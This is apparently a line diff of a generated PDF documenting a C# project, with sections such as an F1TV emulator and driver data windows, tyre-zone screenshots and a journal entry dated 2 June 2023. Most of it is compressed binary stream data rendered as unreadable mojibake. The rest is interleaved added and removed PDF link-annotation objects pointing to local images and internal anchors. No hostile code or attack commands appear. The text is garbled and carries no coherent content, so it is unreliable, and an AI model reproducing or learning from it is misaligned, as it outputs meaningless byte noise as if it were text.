k]u3'yW:3~]u[{WHIUG}HIUGLkwQ/:5:j@$画P$zך*Qjwձnc㬪8nʴc]uL]vtTױsԗXt/Rn5_ӍgL1jt;V+VAϣ?Xs9;V(a +%XadX+cvPŽFƎJرB ;V(a +%XadX+ܰcvpÎjƎnر ;Va +7Xfc +7X+ܰcvP3vpÎnر ;Va +5c +7X+ܰcvP3vpÎnر ;Va +5c +7X+ܰcvP3vpÎnر ;Va +5c +7X+ܰcvP3vpÎnر ;Va +3s +7X+ܰcvP3vpÎnر ;Va +5;Va +7X+ܰccvpÎnر ;V;Va +7X+ܰccvpÎnر ;V;Va +7X+ܰccvpÎnر ;V;Va +7X+ܰccvpÎnر ;V;Va +7X+ܰccvpÎnر ;Vر ;Va +7X+Ԍ+ܰcvpÎnرBر ;Va +7X+Ԍ+ܰcvpÎnرBر ;Va +7X+Ԍ+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎfnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎfnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcvpÎjƎnر ;Va +7XfX+ܰcwpÎjƎnر ;Vz +7XfX+ܰcwpÎfnر ;Vz +7XfX+ܰcwpÎjƎnر ;Vz +7XfX+ܰcwpÎjƎnر ;Vz +7XfX+ܰcwpÎjƎnر ;Vz +7XfX+ܰcwpÎjƎnر ;Vz +7XfX+ܰcqs +3s +7X+ܬ'q7wP3vpÎnر;Va +5c +7X+\cvP3vpÎnر;Va +5c +3ܝM e?m/uۆ9mCٯN]}H8@IJ$t  'H8@B $t  'H(D0HӁD0HӁ`:`: 7t Lt Ln$@"$@"$HӁD0HӁD0H!`:`:pC Lt Lt @"$@"$@ D0HӁD0HӁ`:`: 5#`:`:pC Lt Lt @"$@"$@ D0HӁD0HӁ`:`: 7t Lt Ln$@"$@"$HӁD0HӁD0H!`:`:pC Lt Lt ft Lt Ln$@"$@"$HӁD0HӁD0H!`:`:pC Lt Lt @"$@"$@ D0HӁD0HӁ`:`:pC Lt Lt @"$@"$@B$@"$@"$HӁD0HӁD0H!`:`:pC Lt Lt @"$@"$@ D0HӁD0HӁ`:`: 7t Lt Ln$@"$@"$HӁD0HӁD0HD0HӁD0HӁ`:`: 7t Lt Ln$@"$@"$HӁD0HӁD0H!`:`:pC Lt Lt @"$@"$@ D0HӁD0HӁ`:`: 5#`:`:pC Lt Lt @"$@"$@ D0HӁD0HӁ`:`: 7t Lt Ln$@"$@"$HӁD0HӁD0H!`:`:pC Lt Lt ft Lt Ln$@"$@"$HӁD0HӁD0H!`:`:pC 7?H> $[ QN $>HԿ!V^~xGuiAbQ#tA(!PBadDJ A(!PBadDJ A(!PBadFn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCafFn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCfDn A!pCafFn A!pCfDn A!pCfDn A!pCf'pC "5#pC "5#pC "5#pC "5#pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A!pC A{ߏ YE=bnC81b3f=ws$/?\Qw=ޟ(ϣ?_V<PBEȨ(PQ(PBEȨ(PQ(PBEȬ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBNEᆊ * +7TjFEᆊ * +7TjFEᆊ * +7TjFEᆊ * +7TjFEᆊ * +7TjFEᆊ * +7TjFEᆊ * +7TffEᆊ * +7TjFEᆊ * +7TjFEᆊ * +7Tjv* +7Tn(PQP3* +7Tn(PQP3* +7Tn(PQP3* +7Tn(PQP3* +7Tn(PQP3* +7Tn(PQP3* +7Tn(PQ03+ +7Tn(PQP3* +7Tn(PQP3* +7Tn(PQPSQpCEᆊ QQpCEᆊ QQpCEᆊ QQpCEᆊ QQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊ̬(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊ̬(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊ̬(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊ̬(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(PQpCEᆊBͨ(fӀ*ZEq_T{VQcE8V*NyPIJ&ϣ?_6<PB%JȨ$PI(PB%JȨ$PI(PB%JȬ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%J̬$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%J̬$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%JBͨ$PIpC%fTn$PIpC%fTn$PIpC%afVn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%afVn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%afVn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%afVn$PIpC%fTn$PIpC%fTn$PIpC%fTn$PIpC%fTf~)@/?/*J{VIԯ+lj+|VD_k|xxϣ?]>ObNpҵj ']K8ZINPB-k ']K8ZIJF-Lt-Lt-Z"%Z"%Z D0]KӵD0]Kӵj`k`k 7t-Lt-Ln%Z"%Z"%PKӵD0]KӵD0]Kk`k`pC-Lt-Lt-Z"%Z"%ZBͨ%Z"%Z"%PKӵD0]KӵD0]Kk`k`pC-Lt-Lt-Z"%Z"%Z D0]KӵD0]Kӵj`k`k 7t-Lt-Ln%Z"%Z"%PK%Z"%ZBͨ%YOq7j`k 7'^q7j`k 7j`k`pC-k`k 7j`k`pC-k`k 7j`k`pC-Lt-Ln%Z"%Z"%PKӵD0]KӵD0]KD0]KӵD0]Kӵj`k`k 7t-Lt-Ln%Z"%Z"%PKӵD0]KӵD0]Kk`k`pC-Lt-Lt-Z"%Z"%Z D0]KӵD0]Kӵj`k`k 5k`k`pC-Lt-Lt-Z"%Z"%Z D0]KӵD0]Kӵj`k`k 7t-Lt-Ln%Z"%Z"%PKӵD0]KӵD0]Kk`k`pC-Lt-Lt-ft-Lt-Ln%Z"%Z"%PKӵD0]KӵD0]Kk`k`pC-Lt-Lt-Z"%Z"%Z D0]KӵD0]Kӵj`k`k 7t-Lt-Ln%Z"%Z"%ԌZ"%Z"%Z D0]KӵD0]Kӵj`k`k 7t-Lt-Ln%fsgjV-sN-~Nqcw_#%Y뛗UK*%]K?^Ds{N><Q㟋tQD(PBadJ("PD(PBadJ("PD(PBadn("PDpCfn("PDpCfn("PDpCfn("PDpCfn("PDpCfn("PDpCfn("PDpCfn("PDpCfn."PDpCfn."PDpCafn."PDpCfn."PDpCfn."PDpCfn."PDpCfn."PDpCfn."PDpCfn."PDpCfn."PDpCfn."PDpCfn."PDpCafn#f" EQDYYDpCfn."PDpCfn."PDpC栈pw" E5pw" E5pw" E5pC" EQDpC" EQDpC" EYDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EYDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EYDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EQDpC" EYDpC" EQDpC" EQDpC" EQDpC" EQDZ^6@,"woE/\D|8"Q?Ī!V!Z=xxe>*OWу%DFFA у%DFFA у%DFf у7DjF у7DjF у7DjF у7Dj7Dn=!zP37Dn=!zP37Dn=!zP37Dn=!zP37Dn=!zP37Dn=!z037Dn=!zP37Dn=!zP37Dn=!zP37Dn=!zPs=!zpC у=!zpC у=!zpC у=!zpC у=!zpC у=!zpC у=!zpC у=!zpC у=!zpC у=!zpC у у7DnԌ у7DnԌ у7DnԌ у7DjF у7DjF у7Dff у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7Dff у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7Dff у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7DjF у7Dff у7DjF у7DjF у7DjF у7DjF`7@OK=?=|ߢqֿ﷯V_^:C!|C}y+>]UJ>%J>%J>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7n>7nԌ 7nԌ 7n 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7n 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7n 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7nԌ 7n 7nԌ 7nԌ 7nԌ 7nԌwgˀ~ie@0|qõYx|#_#Qǯ5_~Q_'D]qDJ"EQ%DJ"EQ%DJ"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"EQ7Dn"E9"E!pC(B͈"E!pC(B͈"E!pCfDn"E!pCfDn"E!pCafFn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCafFn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCafFn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCafFn"E!pCfDn"E!pCfDn"E!pCfDn"E!pCfDf~@o'(BEݷ"^0gQ(ñQ} ]Cz1><<^q+>]MJ<%J<%J<7n<7n<7n<7n<7n<9 <|Q.ܧK']E8*B U"tᤫ']E(pU"tᤫ%``pCLWtLWt*""*""* UD0]EUD0]EU``7TtLWtLWn"*""*""PEUD0]EUD0]E``pCLWtLWtfTtLWtLWn"*""*""PEUD0]EUD0]E``pCLWtLWt*""*""* UD0]EUD0]EU``7TtLWtLWn"*""*""Ԍ*""*""* UD0]EUD0]EU``7TtLWtLWn"*""*""PEUD0]EUD0]E``pCLWtLWn"*""*""PEUD0]EUD0]EUD0]EUD0]EU``7TtLWtLWn"*""*""PEUD0]EUD0]E``pCLWtLWt*""*""* UD0]EUD0]EU``5``pCLWtLWt*""*""* UD0]EUD0]EU``7TtLWtLWn"*""*""PEUD0]EUD0]E``pCLWtLWtfTtLWtLWn"*""*""PEUD0]EUD0]E``pCLWtLWt*""*""* UD0]EUD0]EU``7TtLWtLWn"*""*""Ԍ*""*""* UD0]EUD0]EU``7TtLWtLWn"|"OVq_;U*?VE|XPE|<ַ*]@V?˯f빵uD=~x%?O* PI(ϕ}$PI(02* %TJ$PI(02* %TJ$PI(02+ 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PI03+ 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PI03+ 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PIP3* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PI* 7Tn$PIl + |U۫~+?PI\g%Q;V+wYĵɼ?o PMl?<2|ܧKjB Մ #PB5jB Մ #PB5jB Մ #pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 3pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 3pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j Մ 5pC5j ՄQMYOq7 7Tn&ԌjzqpC5j̬&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5j̬&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&l]MpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5j̬&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5j̬&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&PMpC5jBͨ&foZ5qjV[&>+UVϿk?Ba}>@;zx|.⯵v\~CM5GxӥEA Q?(~PBA Q?(~PBA Y?~pCr(NGD2U}HQJRS*-{qޠ) 7oڔ~ 7mJ?x~ 6A?x~ AޠA?x~MoޠA?x~Ц7oޠA?hS7oޠ) 7oִ~ 7mJ?x~ 6A?x~ AޠA?x~MoޠA?x~Ц7oޠA?hS7oޠ) 7oڔ~ 7mJ?x~ 5A?x~ AޠA?x~MoޠA?x~Ц7oޠA?hS7oޠ) 7oڔ~ 7mJ?x~ AޠA?x~MoޠA?x~7oޠA?hS7oޠ) 7oڔ~ 7mJ?x~ 6A?x~ AޠA?x~MoޠA?x~Ц7oޠA?hS7oޠi 7oڔ~ 7mJ?x~ 6A?x~ AޠA?x~MoޠA?x~Ц7oޠA?hS7oޠ) 7oڔ~ 7kZ?x~ 6A?x~ AޠA?x~MoޠA?x~Ц7oޠA?hS7oޠ) 7oڔ~ 7mJ?x~ 6A?x~ ޠA?x~MoޠA?x~Ц7oޠA?hS7oޠ)`?~y#xr)>~mXW&_o^8yrw= j;q!> @}wu 4@h&M 4@XRB&M ,i 7o 7m +@x 6 @x B @xMo @xЦ7o @hS7o ) 7o 7k@x 6 @x B @xMo @xЦ7o @hS7o ) 7o 7m +@x 6 @x š @xMo @xЦ7o @hS7o ) 7o 7m +@x 6 @xMo @xЦ7o @X7o ) 7o 7m +@x 6 @x B @xMo @xЦ7o @hS7o ) 7o4 7m +@x 6 @x B @xMo @xЦ7o @hS7o ) 7o 7m +@x 5 @x B @xMo @xЦ7o @hS7o ) 7o 7m +@x 6 @x B @xaMo @xЦ7o @hS7o ) 7o~@Jm}]^D@xr MD@xI'I'D@xr MJ@&b4& A@&b4& A@&b4& A@&b4& A@&b4& A@&b4& A@&b4& A@&b4M7D@&b41D@&b4ڔMh" F1oMh" F b4Mh" A@&b4M7D@&b41D@&b4 F1D@&h" F1D@xMh" F1oMh" FM D@&b41D@&b4 F1D@&h" F1D@xMh" F1oMh" F b4Mh" A@&b41D@&b4 F1D@&BMh" F b4Mh" A@&b4M7D@&b41D@&b4 F1D@&h" F1D@xMh" F1oMh" F b4Mh" )1D@&b4 F1D@&h" F1D@xMh" F1oMh" F b4Mh" A@&b4M7D@&b41D@&b4 F1D@&BMh" F b4Mh" A@&b4M7D@&b41D@&b4 F1D@&h" F1D@xMh" F1oMh" F b4Mh" )1D@&b4 F1D@&h" F1D@xMh" F1o|vwX@HT}_O@|xwS@?% %!m߯Ju߹|=&%w2o91O~BO{8&xd|\0= tn +:x<w܆}n+_?_|<'u/#ލ85Ol޽zmc`OO^i옫E6_~= 'v =~a4K( +endstream endobj 351 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 240.382970 37.466457 227.979770 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple2.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 350 0 R +/Resources 4 0 R +/Annots [ 352 0 R 353 0 R 354 0 R 355 0 R 356 0 R 357 0 R 358 0 R 359 0 R 360 0 R 361 0 R 362 0 R 363 0 R 364 0 R 365 0 R 366 0 R 367 0 R 368 0 R 369 0 R 370 0 R 371 0 R 372 0 R 373 0 R 374 0 R 375 0 R 376 0 R 377 0 R 378 0 R 379 0 R 380 0 R 381 0 R 382 0 R 383 0 R 384 0 R 385 0 R 386 0 R 387 0 R 388 0 R 389 0 R 390 0 R 391 0 R 392 0 R 393 0 R 394 0 R 395 0 R 396 0 R 397 0 R 398 0 R 399 0 R 400 0 R 401 0 R 402 0 R 403 0 R 404 0 R 405 0 R 406 0 R 407 0 R 408 0 R 409 0 R 410 0 R 411 0 R 412 0 R 413 0 R 414 0 R 415 0 R 416 0 R 417 0 R 418 0 R 419 0 R 420 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 352 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 240.382970 557.809134 212.958529 ] +/Rect [ 55.386457 771.023622 555.889134 750.353622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple2.png) ->> +/Dest (jdb/:vendredi-2-juin-2023) >> endobj 353 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 212.958529 297.637795 200.555329 ] +/Rect [ 55.386457 765.503622 82.786359 751.103622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple2.png) ->> +/Dest (jdb/:vendredi-2-juin-2023) >> endobj 354 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 144.740929 37.466457 132.337729 ] +/Rect [ 538.710911 765.503622 555.889134 751.103622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple1.png) ->> +/Dest (jdb/:vendredi-2-juin-2023) >> endobj 355 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 144.740929 557.809134 123.239166 ] +/Rect [ 47.386457 750.353622 555.889134 729.683622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple1.png) ->> +/Dest (INXWIZI/) >> endobj 356 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 123.239166 297.637795 110.835966 ] +/Rect [ 47.386457 744.833622 63.334211 730.433622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple1.png) ->> +/Dest (INXWIZI/) >> endobj 357 0 obj << -/Filter /FlateDecode -/Length 2463 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 744.833622 555.889134 730.433622 ] +/BS << +/W 0 +>> +/Dest (INXWIZI/) >> -stream -xZˮ6+aEff&  B,2dbQE$pۖb=N=)y+F -:s~_~.~hBw FW^H JNjZ kq˺R*% y]$\em[ѿtH"E 8VJs}WE\~ [*3(?Ƿi隉>o.| vVRh'1*í wF)']lC K4Mvk+=ec&ӞwC ?)fC-4-71"Rq;8 VcP癔Y I:ǴK]FS Aaz)#vklixR"wQL)1=SboQgfVAD*w"7kxhH.w%r4%5k@M9QR UVq$P܅衰 şQl#S*u!YbU㠱}{bXUßa0}tfXe`զ(qU %ӱgXٟi4mz =|F5N?DWkQT2'd9{| = -'zؓlվMr gXhLjgUx[0ukM@hSpC'OЭ85!~n|]߳r˾ߙsrl| abe*E&P!+onAP -6o ۬ <Gٻ-yVB1YpV 3-8 Y?$fa##Mj4SY~ŵB6954n_sI5T𒸧ҁ29E,3j*4#>2(K 7rU3F'o$%JcmڀmeN]!~omqI -7} -OmrǼWyd(vSGV Z W[!+EkN;,i`WU Xy6Va m~0. ݐH|#YduEVО juCt8{"G:vvPTBznc /`x"R -uX\4<=VLdEE٤Y -f"Htqߣ-ϵE= ->U+͡c =}O?-PE)!֋{CMeKXfeW:$J犆jl4+^Jg2<)%@A38la<F.g}zvwS*}8L|̔yf :A -gށJsZt:>DzMʥ1i{BPp<:t?5,9U*Ƀտ'BsUxUZ@C-HP$}x_'lA gBA !Z7WAX YX{ =ob1iEЛT䩄'!: -ԋy{V 9NhR,8PzU2y_1]hK{ܯ$ϧΣNHTqWX፜?Q!{M0ˌڀjOX%+h{ШG}&#B8*Ϫ*ȴy۔^>Eok}afIKkۓ*Yc~|hk]IOvZnXk;nXOAJoK~42::C"_pܽYG"4TL^7 EYmܥu]/omhq0=OM ,<hxepr,AN b#AӁ@u l SzT9V`gZ*}Pգ^}ݫ'i#1N3G$ .>|@W -(ZX#QG}:ZrT׶˟JO;<ʏ^ƸV-ndt2+y:'`n؝~}|e. *<1noY:[k wJ, -endstream endobj 358 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 357 0 R -/Resources 4 0 R -/Annots [ 359 0 R 360 0 R 361 0 R 362 0 R 363 0 R 364 0 R 365 0 R 366 0 R 367 0 R 368 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 729.683622 555.889134 709.013622 ] +/BS << +/W 0 +>> +/Dest (Code/ConfigurationTool/:configurationtoolcs) >> endobj 359 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 750.868422 37.466457 738.465222 ] +/Rect [ 55.386457 724.163622 77.060285 709.763622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple4.png) ->> +/Dest (Code/ConfigurationTool/:configurationtoolcs) >> endobj 360 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 750.868422 557.809134 728.090083 ] +/Rect [ 538.710911 724.163622 555.889134 709.763622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple4.png) ->> +/Dest (Code/ConfigurationTool/:configurationtoolcs) >> endobj 361 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 728.090083 297.637795 715.686883 ] +/Rect [ 55.386457 709.013622 555.889134 688.343622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneExemple4.png) ->> +/Dest (Code/DriverData/:driverdatacs) >> endobj 362 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 375.374083 37.466457 362.970883 ] +/Rect [ 55.386457 703.493622 77.060285 689.093622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFull.png) ->> +/Dest (Code/DriverData/:driverdatacs) >> endobj 363 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 375.374083 557.809134 349.248091 ] +/Rect [ 538.710911 703.493622 555.889134 689.093622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFull.png) ->> +/Dest (Code/DriverData/:driverdatacs) >> endobj 364 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 349.248091 297.637795 336.844891 ] +/Rect [ 55.386457 688.343622 555.889134 667.673622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneFull.png) ->> +/Dest (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) >> endobj 365 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 281.030491 37.466457 268.627291 ] +/Rect [ 55.386457 682.823622 77.060285 668.423622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneCropped.png) ->> +/Dest (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) >> endobj 366 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 281.030491 57.716457 263.780491 ] +/Rect [ 538.710911 682.823622 555.889134 668.423622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneCropped.png) ->> +/Dest (Code/DriverGapToLeaderWindow/:drivergaptoleaderwindowcs) >> endobj 367 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 263.780491 297.637795 251.377291 ] +/Rect [ 55.386457 667.673622 555.889134 647.003622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TyreZoneCropped.png) ->> +/Dest (Code/DriverNameWindow/:drivernamewindowcs) >> endobj 368 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 82.383691 37.466457 69.980491 ] +/Rect [ 55.386457 662.153622 77.060285 647.753622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/SoftTyreColor.png) ->> +/Dest (Code/DriverNameWindow/:drivernamewindowcs) >> endobj 369 0 obj << -/Filter /FlateDecode -/Length 841 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 662.153622 555.889134 647.753622 ] +/BS << +/W 0 +>> +/Dest (Code/DriverNameWindow/:drivernamewindowcs) >> -stream -xVn6 WVKHAEöS@у/zhl(eى'x3Ɔg$2#)aq1dZ:< @\Eg~4K9'6CN"dA$L}9~=}))v9'A/&z|c)5W7{ry46gq3P쮙87o30Qi(F`^8k?36{F -)P;.nNLYID1w*㻒sDo/g pͱWg-[g{O<oxZH5|b2zeG-;ry kFSq:R#W%.E[$J83hvR<xOI'%Vkj qlX:Mu|'_猯v_/Ʊg}bOmq"VB'Bv74z:rY |TN=ħCc_IJ-V'b}xNƇ~b=mPTI(yKZy/x(cWLȾi :PB-aK~!P>Rv K*V\o - wpw˶^ڎ}z -endstream endobj 370 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 369 0 R -/Resources 4 0 R -/Annots [ 371 0 R 372 0 R 373 0 R 374 0 R 375 0 R 376 0 R 377 0 R 378 0 R 379 0 R 380 0 R 381 0 R 382 0 R 383 0 R 384 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 647.003622 555.889134 626.333622 ] +/BS << +/W 0 +>> +/Dest (Code/DriverSectorWindow/:driversectorwindowcs) >> endobj 371 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 187.466457 696.023622 ] +/Rect [ 55.386457 641.483622 77.060285 627.083622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/SoftTyreColor.png) ->> +/Dest (Code/DriverSectorWindow/:driversectorwindowcs) >> endobj 372 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 696.023622 297.637795 683.620422 ] +/Rect [ 538.710911 641.483622 555.889134 627.083622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/SoftTyreColor.png) ->> +/Dest (Code/DriverSectorWindow/:driversectorwindowcs) >> endobj 373 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 627.806022 37.466457 615.402822 ] +/Rect [ 55.386457 626.333622 555.889134 605.663622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Photos/MediumTyreColor.png) ->> +/Dest (Code/F1TVEmulator/:f1tvemulatorcs) >> endobj 374 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 627.806022 187.466457 552.806022 ] +/Rect [ 55.386457 620.813622 77.060285 606.413622 ] /BS 